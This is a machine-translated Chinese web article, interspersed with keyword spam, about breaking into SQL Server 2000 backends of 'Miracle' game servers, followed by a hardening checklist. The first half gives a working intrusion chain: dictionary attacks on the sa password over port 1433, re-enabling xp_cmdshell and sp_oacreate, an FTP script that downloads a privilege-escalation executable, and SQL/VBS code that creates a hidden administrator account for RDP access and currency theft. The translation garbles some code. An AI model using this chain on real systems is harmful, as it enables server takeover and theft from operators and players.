直接将IP入侵Miracle Server,盗取点,铸锭构想和防御过程!

电脑杂谈  发布时间:2020-06-08 20:12:55  来源:网络整理

入侵指定ip教程_入侵指定ip服务器_入侵指定ip服务器

信息摘要: 我相信每个人都知道,如果1.03 Miracle中有一个网络仓库,或者如果该网站打开了积分兑换和其他功能,则很容易被盗并对锭进行计分. 今天,我将向您介绍定向IP入侵奇迹服务器的过程和防御措施,以便对通用服务GM发出警告. 首先,让我告诉你一些事情. 可以通过以下方法入侵Miracle Server的人肯定是主机的主人. 请根据本文中的方法采取一些防御措施!

通常的想法是通过1433端口远程执行SQL语句以入侵服务器,扫描漏洞等. 在获得外壳程序之后,使用SQL存储过程执行SQL代码以实现特权升级. 具体过程如下: 1.使用“ 1433端口入侵工具”查找一个用户弱密码,挂起“黑客字典”,“木人字典”等,以计算指定IP的1433端口sa密码,然后使用指定的IP. 用于连接的SQL工具.

2. 使用查询分析器执行以下代码,

第一步是删除:

删除过程sp_addextendedproc

删除过程sp_oacreate

exec sp_dropextendedproc'xp_cmdshell'

第二步恢复:

dbcc addextendedproc(“ sp_oacreate”,“ odsole70.dll”)

dbcc addextendedproc(“ xp_cmdshell”入侵指定ip服务器,“ xplog70.dll”)

提升权力的第三步:

声明@o int,@ f int,@ t int,@ ret int

exec sp_oacreate'scripting.filesystemobject',@o out

exec sp_oamethod @ o,'createtextfile',@ f out,'C: \ 1.bat',1

exec @ret = sp_oamethod @ f,'writeline',NULL,'open IP'

exec @ret = sp_oamethod @ f,'writeline',NULL,'ftp帐户'

入侵指定ip服务器_入侵指定ip教程_入侵指定ip服务器

exec @ret = sp_oamethod @ f,'writeline',NULL,'ftp password'

exec @ret = sp_oamethod @ f,'writeline',NULL,'获取en.exe(无网络特权升级脚本)c: \ en.exe'

exec @ret = sp_oamethod @ f,'writeline',NULL,'bye'

传递马匹的第四步:

声明@o int,@ f int,@ t int,@ ret int

exec sp_oacreate'scripting.filesystemobject',@o out

exec sp_oamethod @ o,'createtextfile',@ f out,'c: \ 1.vbs',1

exec @ret = sp_oamethod @ f,'writeline',NULL,'Set o = CreateObject(“ Shell.Users”)'

exec @ret = sp_oamethod @ f,'writeline',NULL,'Set z = o.create(“ user”)'

exec @ret = sp_oamethod @ f,'writeline',NULL,'z.changePassword“ password”,“”'

exec @ret = sp_oamethod @ f,'writeline',NULL,'z.setting(“ AccountType”)= 3'

然后cmd在其上执行cscript c: \ 1.vbs

第五步是赢得服务器: (以下代码是VBS脚本)

set wsnetwork = CreateObject(“ WSCRIPT.NETWORK”)

os =“ WinNT: //”&wsnetwork.ComputerName

Set ob = GetObject(os)'获取adsi接口,绑定

入侵指定ip教程_入侵指定ip服务器_入侵指定ip服务器

设置oe = GetObject(os&“ / Administrators,group”)'属性,管理组

设置od = ob.Create(“ user”,“ test”)'创建用户

od.SetPassword“ 1234”'设置密码

od.SetInfo'保存

Set of = GetObject(os&“ / test”,user)'获取用户

oe.add os&“ / test”

SQL语句如下,使用sp_oamethod进程:

声明@o int,@ f int,@ ret int

exec sp_oacreate'scripting.filesystemobject',@o out

exec sp_oamethod @ o,'createtextfile',@ f out,'c: \ 1.vbs',1

exec @ret = sp_oamethod @ f,'writeline',NULL,'设置wsnetwork = CreateObject

(“ WSCRIPT.NETWORK”)'

exec @ret = sp_oamethod @ f,'writeline',NULL,'os =“ WinNT: //”&wsnetwork.

ComputerName'

exec @ret = sp_oamethod @ f,'writeline',NULL,'Set ob = GetObject(os)'

exec @ret = sp_oamethod @ f,'writeline',NULL,'Set oe = GetObject

入侵指定ip教程_入侵指定ip服务器_入侵指定ip服务器

(os&“ /管理员,组”)'

exec @ret = sp_oamethod @ f,'writeline',NULL,'Set od = ob.Create

(“用户”,“测试”)'

exec @ret = sp_oamethod @ f,'writeline',NULL,'od.SetPassword“ 1234”'

exec @ret = sp_oamethod @ f,'writeline',NULL,'od.SetInfo'

exec @ret = sp_oamethod @ f入侵指定ip服务器,'writeline',NULL,'Set of = GetObject

(os&“ / test”,user)'

exec @ret = sp_oamethod @ f,'writeline',NULL,'oe.add os&“ / test”'

通过上述步骤,我们关闭了1.03 Miracle Server,并创建了新的用户名和密码. 我们可以直接使用3389连接到服务器,轻扫点,刷锭和做我们想做的任何事情. 如果您了解SQL语句,则可以在第二步中使用查询分析器直接刷锭,而不必执行“开门”操作.

攻击是防御. 我们如何防御上述入侵?

1. 使用安全的密码策略

我们将密码策略作为所有安全配置的第一步. 请注意,许多帐户的密码太简单,这与系统密码太简单的原因相同. 请多加注意sa,不要让sa帐户的密码写在应用程序或脚本中. 强大的密码是安全的第一步!

在安装SQL Server2000时,如果使用的是混合模式,则需要输入sa密码,除非您确认必须使用空白密码. 这是对先前版本的改进.

与此同时,养成定期更改密码的习惯. 管理员应定期检查是否存在不符合密码要求的帐户. 例如,使用以下SQL语句:

使用母版

选择名称,从syslogins中输入密码为空的密码

入侵指定ip教程_入侵指定ip服务器_入侵指定ip服务器

2. 使用安全帐户策略

由于SQL Server无法更改sa用户名或删除此超级用户,因此我们必须最强地保护该帐户,当然,包括使用非常强的密码,最好不要在应用程序中使用该帐户. 仅在没有其他方法可以登录SQL Server实例时(例如,当其他系统管理员不可用或忘记密码时)才使用. 建议管理员以与sa相同的权限建立一个新的超级用户来管理. 安全帐户策略还包括不让管理员权限的帐户泛滥.

SQL Server具有两种身份验证模式: Windows身份验证和混合身份验证. 如果管理员不希望操作系统管理员通过操作系统登录名访问,则可以在帐户管理中删除系统帐户“ BUILTIN / Administrators”. 但是这样做的结果是,一旦sa帐户忘记了密码,就无法恢复它.

许多主机将应用程序用于简单功能,例如查询和修改. 请根据实际需要分配帐户,并授予只能满足应用程序要求和需求的权限. 例如,只要查询功能可用,就可以选择一个简单的公共帐户.

3. 加强日志记录

要审核登录事件的“失败和成功”,请在实例属性中选择“安全”,然后选择所有审核级别,以便将所有帐户详细记录在系统和操作系统日志中登录事件.

请定期检查SQL Server日志以检查是否存在可疑的登录事件,或使用DOS命令.

findstr / C: “登录” d: / Microsoft SQL Server / MSSQL / LOG/*. *

4. 使用协议加密

SQL Server 2000用于网络数据交换的表格数据流协议. 如果未加密,则所有网络传输都采用纯文本格式,包括密码,内容等. 这是一个很大的安全威胁. 人们可以拦截网络上他们需要的内容,包括帐户和密码. 因此,如果条件允许,最好使用SSL加密协议,当然,您需要证书来支持.

5. 不要让人们随意检测您的TCP / IP端口

默认情况下,SQL Server使用端口1433进行侦听. 许说,配置SQL Server时应更改此端口,以使其他人不容易知道要使用哪个端口. 不幸的是,通过Microsoft未公开的1434端口UDP探针,很容易知道SQL Server使用了哪个TCP / IP端口.

但是,Microsoft仍然考虑此问题. 毕竟,打开和打开端口会造成不必要的麻烦. 在实例属性中选择TCP / IP协议的属性. 选择隐藏SQL Server实例. 如果SQL Server实例是隐藏的,则将禁止它响应来自尝试枚举网络上现有SQL Server实例的客户端的广播. 这样,其他人将无法使用1434来检测您的TCP / IP端口(除非使用了端口扫描).

6. 修改TCP / IP使用的端口

请根据上一步中的配置更改原始的默认1433端口. 在实例属性中,在网络配置中选择TCP / IP协议的属性,然后将TCP / IP使用的默认端口更改为另一个端口.

7. 从端口1434拒绝检测

由于1434端口检测没有限制,因此某些信息可能被其他人检测到,并且它也可能会受到DOS的攻击而增加服务器的CPU负载,因此对于Windows 2000操作系统,拒绝使用1434 IPSec过滤中的端口UDP通信可以尽可能隐藏您的SQL Server.

8. 网络连接的IP限制

SQL Server 2000系统本身不为网络连接提供安全解决方案,但是Windows 2000提供了这种安全性机制. 使用操作系统自己的IPSec可以实现IP数据包的安全性. 请限制IP连接,仅确保可以访问您自己的IP,并拒绝其他IP建立的端口连接,以有效控制来自网络的安全威胁.

在奇迹般的大米饭中,许多黑客和高手正在不断研究各种窃取金币和积分的方法. 当然,我相信有很多漏洞,而上述漏洞只是其中之一. 一种. 归根结底,我们仍然要做的是自己的安全策略是国王,防盗刷,防删除库等. .


本文来自电脑杂谈,转载请注明本文网址:
https://www.pc-fly.com/a/ruanjian/article-238609-1.html

    相关阅读
      发表评论  请自觉遵守互联网相关的政策法规,严禁发布、暴力、反动的言论

      热点图片
      拼命载入中...